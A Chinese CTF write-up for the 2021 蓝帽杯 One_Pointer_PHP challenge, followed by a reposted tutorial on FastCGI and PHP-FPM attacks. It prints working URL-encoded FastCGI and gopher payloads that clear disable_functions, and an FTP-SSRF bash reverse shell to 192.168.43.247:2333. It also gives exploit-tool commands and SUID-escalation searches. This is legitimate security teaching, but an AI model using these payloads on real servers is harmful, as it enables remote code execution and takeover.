[蓝帽杯_2021]One_Pointer_PHP
add_api.php的漏洞(给了源码):
1 |
|
PHP 数组溢出绕过限制:
当数组里面的个数为PHP_INT_MAX时,数值时会报错
当给一个数组的PHP_INT_MAX + 1
索引赋值时,会爆warning,不同位数的操作系统PHP_INT_MAX值不同,32位的是0x7FFFFFFF
,64位的是0x7FFFFFFFFFFFFFFF
因此我们这里传入$user->count = 0x7FFFFFFFFFFFFFFF - 1
(9223372036854775806)可以绕过
1 | O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D |
即可绕过
读配置文件
先看phpinfo()里面禁了些什么函数
1 | stream_socket_client,fsockopen,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive |
肯定是不能直接命令执行了,得绕disable_function,还有open_basedir的限制目录,但是file_put_contents函数(写文件)(第一个参数文件名,第二个是内容,若是一句话木马就得用单引号)和file_get_contents函数(读文件双引号就行)
绕过open_basedir读敏感文件
由于是php,且在phpinfo中看到了FPM/FastCGI,可以知道是php-fpm进程管理的FastCGI。于是读一下nginx相关的配置文件
- /etc/nginx/nginx.conf:先读这个,发现有include /etc/nginx/sites-enabled/*
- /etc/nginx/sites-enabled/default:再读这个
1 | mkdir('c'); |
读了之后发现php-fpm的端口是9001,且使用的TCP连接的
1 | location ~ \.php$ { |
尝试打了一下FPM未授权访问的RCE,发现弹不回shell,直接打貌似打不通。
伪造FastCGI加载恶意.so
c文件:
1 |
|
在linux上编译一下:
1 | gcc hpdoger.c -fPIC -shared -o hpdoger.so |
上传文件到/var/www/html或者/tmp/下都行(得先写马连接蚁剑,在进行上传)
然后就用加载恶意so文件的这个php文件的运行后的东西留着
接下来要寻找一种方式来把我们的恶意bin发送到php-fpm的9001端口上,这里我们需要考虑PHP Stream Wrapper(php支持和封装的协议)下有没有什么可以利用的协议,然后配合file_put_contents
通过SSRF的方式打到9001上
1 | file:// — 访问本地文件系统 |
最后就只剩下FTP协议满足我们的要求了,既可以发送数据,又正好不受其他权限的限制
pwn.php生成bin码:
1 |
|
网上通用的脚本,用来生成bin码
FTP Passive Mode发bin给php-fpm
可以利用file_get_contents
配合ftp://
协议来把恶意bin打到FastCGI上,这里又牵扯到FTP的主动/被动模式,我们需要利用FTP的被动模式来伪造客户端端口,使得服务端将数据发送到9001端口上。这是因为在FTP被动模式下,是由客户端主动向服务端发起请求,并告知服务端需要连接交互的端口,所以这里的端口是客户端可控可伪造的。因此我们可以在起一个FTP的客户端,模拟发送FTP passive mode的包,当服务端通过ftp://<VPS>:<PORT>
和客户端发起交互时,客户端模拟Passive Mode请求,其中伪造端口为127.0.0.1:9001,这样服务端就会把恶意bin打到php-fpm上从而完成RCE。
先准备一个ftp.py来起ftp服务器模拟客户端请求,端口绑定到自己的vps的23端口上
再在vps上面起nc监听
两个都要起在add_api.ph里面发送ftp申请
1 | /add_api.php?backdoor=$file = $_GET['file'];$data = $_GET['data'];file_put_contents($file,$data);&file=ftp://aaa@vps:23/123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3F%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B3PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00 |
此时当 ftp 建立连接后,会通过被动模式将 payload 重定向到目标主机本地 9001 端口的 PHP-FPM 上,并成功反弹
后面就是一个 SUID 提权了,利用的是 /usr/local/bin/php,直接进行 PHP 交互模式执行代码获取 flag 即可。
SUID提权
.查看SUID可执行文件的命令
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
以上任意一条均可查看
获取这个东西,发现有这个php可以利用(网上好像也没有这个的利用方法),直接、
获取flag(直接运行获取root权限访问flag文件(只是这一条有root权限))
也可以交互模式获取flag:
参考链接:https://forum.butian.net/share/475
知识点:php-FPM
CGI
早期的Web服务器,只能响应浏览器发来的HTTP静态资源的请求,并将存储在服务器中的静态资源返回给浏览器。随着Web技术的发展,逐渐出现了动态技术,但是Web服务器并不能够直接运行动态脚本,为了解决Web服务器与外部应用程序(CGI程序)之间数据互通,于是出现了CGI(Common Gateway Interface)通用网关接口。简单理解,可以认为CGI是Web服务器和运行在其上的应用程序进行“交流”的一种约定。
当遇到动态脚本请求时,Web服务器主进程就会Fork创建出一个新的进程来启动CGI程序,运行外部C程序或Perl、PHP脚本等,也就是将动态脚本交给CGI程序来处理。启动CGI程序需要一个过程,如读取配置文件、加载扩展等。当CGI程序启动后会去解析动态脚本,然后将结果返回给Web服务器,最后由Web服务器将结果返回给客户端,之前Fork出来的进程也随之关闭。这样,每次用户请求动态脚本,Web服务器都要重新Fork创建一个新进程去启动CGI程序,由CGI程序来处理动态脚本,处理完成后进程随之关闭,其效率是非常低下的。
而对于Mod CGI,Web服务器可以内置Perl解释器或PHP解释器。 也就是说将这些解释器做成模块的方式,Web服务器会在启动的时候就启动这些解释器。 当有新的动态请求进来时,Web服务器就是自己解析这些动态脚本,省得重新Fork一个进程,效率提高了。
FastCGI
有了CGI,自然就解决了Web服务器与PHP解释器的通信问题,但是Web服务器有一个问题,就是它每收到一个请求,都会去Fork一个CGI进程,请求结束再kill掉这个进程,这样会很浪费资源。于是,便出现了CGI的改良版本——Fast-CGI。
维基百科对 FastCGI 的解释是:快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,Fast-CGI每次处理完请求后,不会kill掉这个进程,而是保留这个进程,从而使服务器可以同时处理更多的网页请求。这样就会大大的提高效率。
浏览器处理静态/动态网页过程
众所周知,在网站分类中存在一种分类就是静态网站和动态网站,两者的区别就是静态网站只需要通过浏览器进行解析,其中的页面是一对一的(一个内容对应一个页面),而动态网站需要一个额外的编译解析的过程,网页上的数据是从数据库中或者其他地方调用,页面会随着数据的变化而改变,就产生了一定的交互性。
浏览器访问静态网页过程
在整个网页的访问过程中,Web容器(例如Apache、Nginx)只担任着内容分发者的身份,当访问静态网站的主页时,Web容器会到网站的相应目录中查找主页文件,然后发送给用户的浏览器。
浏览器访问动态网页过程
当访问动态网站的主页时,根据容器的配置文件,它知道这个页面不是静态页面,Web容器就会去找PHP解析器来进行处理(这里以Apache为例),它会把这个请求进行简单的处理,然后交给PHP解释器。
当Apache收到用户对 index.php 的请求后,如果使用的是CGI,会启动对应的 CGI 程序,对应在这里就是PHP的解析器。接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以CGI规定的格式返回处理后的结果,退出进程,Web Server 再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程。
这里说的是使用CGI,而FastCGI就相当于高性能的CGI,与CGI不同的是它像一个常驻的CGI,在启动后会一直运行着,不需要每次处理数据时都启动一次, 所以这里引出下面这句概念,FastCGI是语言无关的、可伸缩架构的CGI开放扩展,其主要行为是将CGI解释器进程保持在内存中,并因此获得较高的性能 。
Fastcgi 协议分析
Fastcgi Record
Fastcgi 其实是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。
HTTP协议是 浏览器和服务器中间件 进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。
类比 HTTP 协议来说,Fastcgi 协议则是 服务器中间件和某个语言后端 进行数据交换的协议。Fastcgi 协议由多个 Record 组成,Record 也有 Header 和 Body 一说,服务器中间件将这二者按照 Fastcgi 的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照 Fastcgi 协议封装好后返回给服务器中间件。
和 HTTP 头不同,Fastcgi Record 的头固定8个字节,Body 是由头中的 contentLength
指定,其结构如下:
1 | typedef struct { |
头由8个 uchar 类型的变量组成,每个变量一个字节。其中,requestId
占两个字节,一个唯一的标志id,以避免多个请求之间的影响;contentLength
占两个字节,表示 Body 的大小。可见,一个 Fastcgi Record 结构最大支持的 Body 大小是2^16
,也就是 65536 字节。
后端语言解析了 Fastcgi 头以后,拿到 contentLength
,然后再在请求的 TCP 流里读取大小等于 contentLength
的数据,这就是 Body 体。
Body 后面还有一段额外的数据(Padding),其长度由头中的 paddingLength
指定,起保留作用。不需要该Padding的时候,将其长度设置为0即可。
Fastcgi Type
刚才我们介绍了 Fastcgi 协议中Record部分中各个结构的含义,其中第二个字节为 type
,我们将对其进行详细讲解。
type
就是指定该 Record 的作用。因为 Fastcgi 中一个 Record 的大小是有限的,作用也是单一的,所以我们需要在一个TCP流里传输多个 Record,通过 type
来标志每个 Record 的作用,并用 requestId
来标识同一次请求的id。也就是说,每次请求,会有多个 Record,他们的 requestId
是相同的。
下面给出一个表格,列出最主要的几种 type
:
type值 | 具体含义 |
---|---|
1 | 在与php-fpm建立连接之后发送的第一个消息中的type值就得为1,用来表明此消息为请求开始的第一个消息 |
2 | 异常断开与php-fpm的交互 |
3 | 在与php-fpm交互中所发的最后一个消息中type值为此,以表明交互的正常结束 |
4 | 在交互过程中给php-fpm传递环境变量时,将type设为此,以表明消息中包含的数据为某个name-value对 |
5 | Web服务器将从浏览器接收到的POST请求数据(表单提交等)以消息的形式发给php-fpm,这种消息的type就得设为5 |
6 | php-fpm给Web服务器回的正常响应消息的type就设为6 |
7 | php-fpm给Web服务器回的错误响应设为7 |
看了这个表格就很清楚了,服务器中间件和后端语言通信,第一个数据包就是 type
为1的 Record,后续互相交流,发送 type
为4、5、6、7的 Record,结束时发送 type
为2、3的 Record。
当后端语言接收到一个 type
为4的 Record 后,就会把这个 Record 的 Body 按照对应的结构解析成 key-value 对,这就是环境变量。环境变量的结构如下:
1 | typedef struct { |
这其实是 4 个结构,至于用哪个结构,有如下规则:
- key、value均小于128字节,用
FCGI_NameValuePair11
- key大于128字节,value小于128字节,用
FCGI_NameValuePair41
- key小于128字节,value大于128字节,用
FCGI_NameValuePair14
- key、value均大于128字节,用
FCGI_NameValuePair44
为什么我只介绍 type
为4的 Record?因为环境变量在后面 PHP-FPM 里有重要作用,之后写代码也会写到这个结构。type
的其他情况,大家可以自己翻文档理解理解。
PHP-FPM
在前面我们也看到了PHP-FPM这个东西,那这个PHP-FPM到底是什么呢?
官方对PHP-FPM的解释是 FastCGI 进程管理器,用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。PHP-FPM 默认监听的端口是 9000 端口。
也就是说 PHP-FPM 是 FastCGI 的一个具体实现,并且提供了进程管理的功能,在其中的进程中,包含了 master 和 worker 进程,这个在后面我们进行环境搭建的时候可以通过命令查看。其中master 进程负责与 Web 服务器中间件进行通信,接收服务器中间按照 FastCGI 的规则打包好的用户请求,再将请求转发给 worker 进程进行处理。worker 进程主要负责后端动态执行 PHP 代码,处理完成后,将处理结果返回给 Web 服务器,再由 Web 服务器将结果发送给客户端。
举个例子,当用户访问 http://127.0.0.1/index.php?a=1&b=2
时,如果 Web 目录是 /var/www/html,那么 Web 服务器中间件(如 Nginx)会将这个请求变成如下 key-value 对:
1 | { |
这个数组其实就是 PHP 中 $_SERVER
数组的一部分,也就是 PHP 里的环境变量。但环境变量的作用不仅是填充 $_SERVER
数组,也是告诉 fpm:“我要执行哪个 PHP 文件”。
PHP-FPM 拿到 Fastcgi 的数据包后,进行解析,得到上述这些环境变量。然后,执行 SCRIPT_FILENAME
的值指向的PHP文件,也就是 /var/www/html/index.php
。但如果我们能够控制 SCRIPT_FILENAME
的值,不就可以让 PHP-FPM 执行服务器上任意的 PHP 文件了吗。写到这里,PHP-FPM 未授权访问漏洞差不多也就呼之欲出了。
PHP-FPM 任意代码执行
前文我们讲到, Web 服务器中间件会将用户请求设置成环境变量,并且会出现一个 'SCRIPT_FILENAME': '/var/www/html/index.php'
这样的键值对,它的意思是 PHP-FPM 会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制 PHP-FPM 去执行某个已经存在的文件,不能够实现一些恶意代码的执行。并且在 PHP 5.3.9 后来的版本中,PHP 增加了 security.limit_extensions
安全选项,导致只能控制 PHP-FPM 执行一些像 php、php3、php4、php5、php7 这样的文件,因此你必须找到一个已经存在的 PHP 文件,这也增大了攻击的难度。
但是好在强大的 PHP 中有两个有趣的配置项:
auto_prepend_file
:告诉PHP,在执行目标文件之前,先包含auto_prepend_file
中指定的文件。auto_append_file
:告诉PHP,在执行完成目标文件后,再包含auto_append_file
指向的文件。
那么就有趣了,假设我们设置 auto_prepend_file
为 php://input
,那么就等于在执行任何 PHP 文件前都要包含一遍 POST 的内容。所以,我们只需要把需要执行的代码放在 Body 中,他们就能被执行了。(当然,这还需要开启远程文件包含选项 allow_url_include
)
那么,我们怎么设置 auto_prepend_file
的值?
这就又涉及到 PHP-FPM 的两个环境变量,PHP_VALUE
和 PHP_ADMIN_VALUE
。这两个环境变量就是用来设置 PHP 配置项的,PHP_VALUE
可以设置模式为 PHP_INI_USER
和 PHP_INI_ALL
的选项,PHP_ADMIN_VALUE
可以设置所有选项。
所以,我们最后传入的就是如下的环境变量:
1 | { |
设置 auto_prepend_file = php://input
且 allow_url_include = On
,然后将我们需要执行的代码放在 Body 中,即可执行任意代码。
PHP-FPM 未授权访问漏洞
前文我们讲到,攻击者可以通过 PHP_VALUE
和 PHP_ADMIN_VALUE
这两个环境变量设置 PHP 配置选项 auto_prepend_file
和 allow_url_include
,从而使 PHP-FPM 执行我们提供的任意代码,造成任意代码执行。除此之外,由于 PHP-FPM 和 Web 服务器中间件是通过网络进行沟通的,因此目前越来越多的集群将 PHP-FPM 直接绑定在公网上,所有人都可以对其进行访问。这样就意味着,任何人都可以伪装成Web服务器中间件来让 PHP-FPM 执行我们想执行的恶意代码。这就造成了 PHP-FPM 的未授权访问漏洞。
下面我们搭建环境,对 PHP-FPM 未授权访问漏洞的攻击过程进行讲解。
环境搭建
- 靶 机:Ubuntu(192.168.0.175)
- 攻击机:Kali(192.168.0.128)
这里直接在Ubuntu上安装Nginx和php-fpm,首先安装Nginx
1 | sudo apt-get install nginx |
安装php、php-fpm以及一些插件
1 | sudo apt-get install software-properties-common python-software-properties |
配置 PHP-FPM
接下来我们需要修改 PHP-FPM 的配置,设置监听9000端口来处理nginx的请求,并将 PHP-FPM 暴露在 0.0.0.0 上面。
打开 /etc/php/7.4/fpm/pool.d/www.conf
文件找到如下位置,注释掉第一行并添加第二行:
1 | ;listen = /run/php/php7.4-fpm.sock |
此时将 PHP-FPM 的监听地址设置为了 0.0.0.0:9000
,便会产生PHP-FPM 未授权访问漏洞,此时攻击者可以直接与暴露在目标主机 9000 端口上的 PHP-FPM 进行通信,进而可以实现任意代码执行。
下面修改权限
1 | chmod 777 /run/php/php7.4-fpm.sock |
打开nginx的配置文件 /etc/nginx/sites-available/default
修改相应部分的配置
1 | server { |
启动环境
配置完成后查看一下php-fpm的安装位置,然后启动
1 | whereis php-fpm |
重新启动Nginx
1 | sudo systemctl restart nginx |
然后检查nginx是否正确启动 systemctl status nginx
:
检查php-fpm是否正确启动 ps -elf | grep php-fpm
这里就可以看出上面所说的存在一个master进程和多个worker进程。
下面将 /var/www/html
目录下的文件删除,新建一个index.php,内容可以写上 <?php phpinfo(); ?>
用来检查各项是否正常运行(如果页面为空,查看这篇文章解决):
其中 Sever API 处和上图一样说明运行正确。下面我们开始攻击。
利用 fcgi_exp.go 攻击
将该项目下载下来后,进入到 webcgi-exploits/php/Fastcgi,新建一个 fcgiclient 目录,将 fcgiclient.go 放入新建的 fcgiclient 目录中:
然后安装 go 环境进行编译:
1 | go build fcgi_exp.go # 编译fcgi_exp.go |
然后直接运行可以看到 fcgi_exp 的使用方法:
使用如下命令进行测试
1 | ./fcgi_exp system 192.168.43.82 9000 /var/www/html/index.php "id" |
- system:要使用的PHP函数
- 192.168.43.82:目标机IP
- 9000:目标机 fpm 端口
- /var/www/html/index.php:已知的位于目标机上的PHP文件
- id:要执行的系统命令
如下图所示,成功执行系统命令,利用成功:
利用 phith0n 大神的 fpm.py
“兼容Python2和Python3,方便在内网用。之前好些人总是拿着一个GO写的工具在用,又不太好用。实际上理解了fastcgi协议,再看看这个源码,就很简单了。“
—— phith0n
利用方式:
1 | python fpm.py 192.168.43.82 /var/www/html/index.php -c "<?php system('id'); exit(); ?>" |
如下图所示,成功执行系统命令,利用成功:
SSRF 中对 FPM/FastCGI 的攻击
有时候 PHP-FPM 也并不会执行绑定在 0.0.0.0 上面,而是 127.0.0.1,这样便避免了将 PHP-FPM 暴露在公网上被攻击者访问,但是如果目标主机上存在 SSRF 漏洞的话,我们便可以通过 SSRF 漏洞攻击内网的 PHP-FPM 。
- 靶 机:Ubuntu(192.168.0.175)
- 攻击机:Kali(192.168.0.128)
在目标机Web目录中新建 ssrf.php 文件,写入以下存在 SSRF 漏洞的代码:
1 |
|
此时目标主机存在 SSRF 漏洞,并且通过 SSRF 可以探测到目标主机上 9000 端口上运行的 php-fpm。此时,虽然 php-fpm 没有暴露在公网上,但是由于存在 SSRF 漏洞,我们便可以通过 SSRF 漏洞配合 Gopher 协议去打内网的 php-fpm。
利用 fcgi_exp 攻击
刚在我们已经演示过了,fcgi_exp 这个工具主要是用来攻击未授权访问 php-fpm 的,所以一些地方需要自己写脚本转换一下 payload。
使用如下命令进行测试:
1 | ./fcgi_exp system 192.168.43.82 9000 /var/www/html/index.php "id" |
此时显然是不行的,因为在配置端口监听的时候,仅允许监听在127.0.0.1,不存在 php-fpm 未授权访问,所以说不能攻击成功。我们要通过 SSRF 来从目标机内部攻击 9000 端口。
在攻击机上使用 nc -lvvp 1234 > fcg_exp.txt
监听1234 端口来接收 payload,另外开启一个终端使用下面的命令发送 payload
1 | ./fcgi_exp system 127.0.0.1 1234 /var/www/html/index.php "id" |
注意这里攻击的端口是上面监听的端口,目的是将payload发送到这个端口,运行后可以使用Ctrl+C 来结束运行,现在就得到了一个fcg_exp.txt的文件,里面是获得的payload,可以使用 xxd fcg_exp.txt
查看其内容:
文件里的内容有部分是不可见字符,这里需要url编码一下,这里写一个Python脚本对文件中的内容进行编码
1 | # -*- coding: UTF-8 -*- |
执行上面的python脚本生成如下payload:
1 | gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%14%04%00%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Ddisable_functions%20%3D%20%0Dsafe_mode%20%3D%20Off%0Dauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%008%00%00%3C%3Fphp%20system%28%27id%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0D%27%29%3B%3F%3E |
之后我们还要对上面的payload进行二次url编码,然后将最终的payload内容放到?url=后面发送过去(这里需要进行两次编码,因为这里GET会进行一次解码,curl也会再进行一次解码):
1 | ssrf.php?url=gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2514%2504%2500%250E%2502CONTENT_LENGTH56%250E%2504REQUEST_METHODPOST%2509%255BPHP_VALUEallow_url_include%2520%253D%2520On%250Ddisable_functions%2520%253D%2520%250Dsafe_mode%2520%253D%2520Off%250Dauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25008%2500%2500%253C%253Fphp%2520system%2528%2527id%2527%2529%253Bdie%2528%2527-----0vcdb34oju09b8fd-----%250D%2527%2529%253B%253F%253E |
如下图所示,命令执行成功:
利用 Gopherus 攻击
Gopherus 这个工具相比上一个更加方便一下,该工具能生成Gopher有效负载,用来利用SSRF进行RCE:
下面我们就利用这个工具来执行命令:
1 | python gopherus.py --exploit fastcgi |
如上图所示获得payload:
1 | gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27id%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00 |
然后进行二次编码后将最终的payload内容放到?url=后面发送过去即可:
1 | /ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH54%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25006%2504%2500%253C%253Fphp%2520system%2528%2527id%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500 |
如下图所示,命令执行成功:
FTP - SSRF 攻击 FPM/FastCGI
这是在之前复现Laravel Debug mode RCE(CVE-2021-3129)漏洞时学到的一个思路。该漏洞的核心就是传入 file_get_contents() 和 file_put_contents() 这两个函数中的内容没有经过过滤,从而可以通过精巧的构造触发 phar 反序列化,达到RCE的效果。
漏洞代码大致可以简化为如下代码:
1 |
|
可以看到这里主要功能点是:读取一个给定的路径 $_GET['viewFile']
,之后写回文件中 $_GET['viewFile']
,这相当于什么都没有做!
由于我们可以运行 file_get_contents() 来查找任何东西,因此,可以运用 SSRF 常用的姿势,通过发送HTTP请求来扫描常用端口。假设此时我们发现目标正在监听 9000 端口,则很有可能目标主机上正在运行着 PHP-FPM,我们可以进一步利用该漏洞来攻击 PHP-FPM。
众所周知,如果我们能向 PHP-FPM 发送一个任意的二进制数据包,就可以在机器上执行代码。这种技术经常与gopher://协议结合使用,curl支持gopher://协议,但file_get_contents却不支持。
另一个已知的允许通过 TCP 发送二进制数据包的协议是FTP,更准确的说是该协议的被动模式,即:如果一个客户端试图从FTP服务器上读取一个文件(或写入),服务器会通知客户端将文件的内容读取(或写)到一个有服务端指定的IP和端口上。而且,这里对这些IP和端口没有进行必要的限制。例如,服务器可以告诉客户端连接到自己的某一个端口,如果它愿意的话。
现在,如果我们尝试使用 viewFile=ftp://evil-server/file.txt
来利用这个漏洞,会发生以下情况:
- 首先通过 file_get_contents() 函数连接到我们的FTP服务器,并下载file.txt。
- 然后再通过 file_put_contents() 函数连接到我们的FTP服务器,并将其上传回file.txt。
现在,你可能已经知道这是怎么回事:我们将使用 FTP 协议的被动模式让 file_get_contents() 在我们的服务器上下载一个文件,当它试图使用 file_put_contents() 把它上传回去时,我们将告诉它把文件发送到 127.0.0.1:9000。这样,我们就可以向目标主机本地的 PHP-FPM 发送一个任意的数据包,从而执行代码,造成SSRF了。
下面我们来演示一下攻击过程。
首先,我们使用gopherus生成攻击fastcgi的payload:
1 | python gopherus.py --exploit fastcgi |
得到payload,而我们需要的是上面payload中 _
后面的数据部分,即:
1 | %01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.43.247/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00 |
在攻击机上设置好nc监听:
然后编写如下脚本(脚本是从网上扒的,谁叫我菜呢,大佬勿喷~~),在攻击机上搭建一个恶意的ftp服务,并将上面的payload中的数据替换掉下面ftp脚本中的payload的内容:
1 | # -*- coding: utf-8 -*- |
运行上述脚本,一个恶意ftp服务就起来了:
这个脚本做的事情很简单,就是当客户端第一次连接的时候返回我们预设的 payload;当客户端第二次连接的时候将客户端的连接重定向到 127.0.0.1:9000,也就是目标主机上 php-fpm 服务的端口,从而造成 SSRF,攻击其 php-fpm。
最后,构造如下请求,触发攻击:
1 | /ssrf.php?viewFile=ftp://aaa@192.168.43.247:23/123 |
成功反弹shell:
假设有以下代码:
1 |
|
经测试目标主机的 9000 端口上存在 PHP-FPM ,那我们便可以利用与刚才相似的原理,通过搭建恶意的 ftp 服务器来攻击 PHP-FPM。
首先还是使用 gopherus 生成payload:
1 | python gopherus.py --exploit fastcgi |
得到的payload只截取 _
后面的数据部分。
然后再攻击机上执行以下python脚本搭建一个恶意的 ftp 服务器:
1 | import socket |
并在 vps 上开启一个 nc 监听,用于接收反弹的shell:
最后构造 url 发送 payload 即可:
1 | /?file=ftp://aaa@192.168.43.247:23/123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.43.247/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00 |
如下图所示,命令执行成功,并成功反弹Shell:
(搞个小转载)参考链接:奇安信攻防社区-浅入深出 Fastcgi 协议分析与 PHP-FPM 攻击方法写的真的是太酷啦